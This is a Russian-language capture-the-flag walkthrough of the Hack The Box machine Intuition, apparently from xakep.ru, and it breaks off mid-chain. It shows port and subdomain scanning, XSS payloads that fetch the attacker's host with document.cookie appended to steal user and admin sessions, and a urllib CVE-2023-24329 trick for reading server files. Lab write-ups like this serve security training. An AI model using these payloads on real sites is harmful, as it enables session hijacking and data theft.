Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Сегодня я покажу, как повысить права в Linux через уязвимость в раннере Ansible. Но прежде нам понадобится заюзать XSS на сайте сначала для получения доступа к странице пользователя, а потом для повышения привилегий. Затем используем прошлогодний баг в библиотеке urllib, чтобы читать файлы на сервере, а для продвижения к другому пользователю изучим логи Suricata.
Наша цель — получение прав суперпользователя на машине Intuition с учебной площадки Hack The Box. Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.15 intuition.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Сканер нашел два открытых порта:
Также отмечаем, что веб‑сервер на 80-м порте редиректит на домен comprezzor.htb
, поэтому добавим его в файл /etc/hosts
.
10.10.11.15 intuition.htb comprezzor.htb
Переходим к сайту на веб‑сервере и сразу получаем форму для загрузки файлов.
Главная страница сайта
Ниже на странице есть ссылка на форму, куда можно отправлять информацию о найденных багах.
Информация для связи
Ссылка ведет на сайт report.comprezzor.htb
, поэтому, прежде чем идти смотреть на него, снова добавим запись в файл /etc/hosts
.
10.10.11.15 intuition.htb comprezzor.htb report.comprezzor.htb
Главная страница сайта report.comprezzor.htb
Так как мы уже нашли сайт на поддомене report
, есть смысл пробрутить поддомены по списку: так мы сможем найти еще больше сайтов, а соответственно, и больше точек входа. Подбирать поддомены будем с помощью утилиты ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w
— словарь (я использую словари из набора SecLists); -t
— количество потоков; -u
— URL; -H
— HTTP-заголовок. Место перебора помечается словом FUZZ.
Задаем все нужные параметры:
ffuf -u http://comprezzor.htb/ -H 'Host: FUZZ.comprezzor.htb' -w subdomains-bitquark-top100000.txt -t 256
Результат сканирования поддоменов
В вывод программы попадают абсолютно все слова из списка, поэтому необходимо добавить фильтр, например по размеру страницы (параметр -fs
).
ffuf -u http://comprezzor.htb/ -H 'Host: FUZZ.comprezzor.htb' -w subdomains-bitquark-top100000.txt -t 256 -fs 178
Результат сканирования поддоменов
Находим еще два поддомена. Обновляем запись в файле /etc/hosts
и наконец идем смотреть сайты.
10.10.11.15 intuition.htb comprezzor.htb report.comprezzor.htb auth.comprezzor.htb dashboard.comprezzor.htb
На auth.comprezzor.htb
нас встречает форма авторизации, а dashboard.comprezzor.htb
недоступен даже после регистрации и авторизации.
Главная страница auth.comprezzor.htb
Куда интереснее форма отправки отчетов, так как ее можно потестировать на разные уязвимости.
Форма отправки отчетов
По логике, если отчет кто‑то просматривает, мы можем попробовать проэксплуатировать уязвимость XSS. Для этого запустим локальный веб‑сервер:
python3 -m http.server
И отправим нагрузку, которая должна будет выполнить запрос на этот веб‑сервер.
<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss")' />
Форма отправки отчетов
Логи веб‑сервера
На веб‑сервер пришел запрос, а значит, на сайте есть XSS. Недолго думая, попробуем стащить куки пользователя.
<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss" + document.cookie)' />
Логи веб‑сервера
В логах появляется длинная строка. Загружаем куки в браузер, пометив, что они предназначены для сайта dashboard, и переходим на этот сайт.
Главная страница сайта dashboard.comprezzor.htb
На странице мы можем смотреть сами отчеты, переходя по ссылкам в Report ID. При этом на странице самого отчета можно повысить его приоритет.
Страница отчета
При повышении приоритета отчета, вероятно, его будет изучать уже администратор. А значит, мы сможем повторить трюк с XSS и получить cookie. Откроем отчет и повысим его приоритет, и, когда администратор перейдет к нему, мы получим его куки.
<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss" + document.cookie)' />
Повышение приоритета отчета
Логи веб‑сервера
Применяем куки в хранилище браузера Chrome и обновляем страницу. Теперь нам доступен другой дашборд, а также несколько новых функций.
Панель администратора сайта
Одна из интересных возможностей — это составление отчета в PDF по предоставленному URL.
Первой моей идеей было проверить, нет ли тут SSRF, и попробовать стащить локальные файлы через схему file:///
. Правда, это результатов не дало.
Страница создания PDF-файлов
Попробуем прислать тестовый запрос на свой листенер. Запустим его:
nc -nlvp 8000
Обрати внимание на используемую на сервере библиотеку — Python-urllib/3.11
. Ее можно увидеть в HTTP-заголовке User-Agent
.
Запрос с сервера
В этой библиотеке в прошлом году нашли уязвимость CVE-2023-24329.
Поиск эксплоитов в Google
Я поискал эксплоиты в Google и легко отыскал подходящий. Если URL будет начинаться с пробела, то мы сможем читать локальные файлы через « file:///»
.
Получение содержимого файла /etc/passwd
Так как мы работаем с приложением на Python, хорошо бы взглянуть на исходный код. А для этого нужно знать, где в файловой системе находится приложение. Давай глянем файл /proc/self/cmdline
— там содержится командная строка для текущего процесса.
Содержимое /proc/self/cmdline
Источник: xakep.ru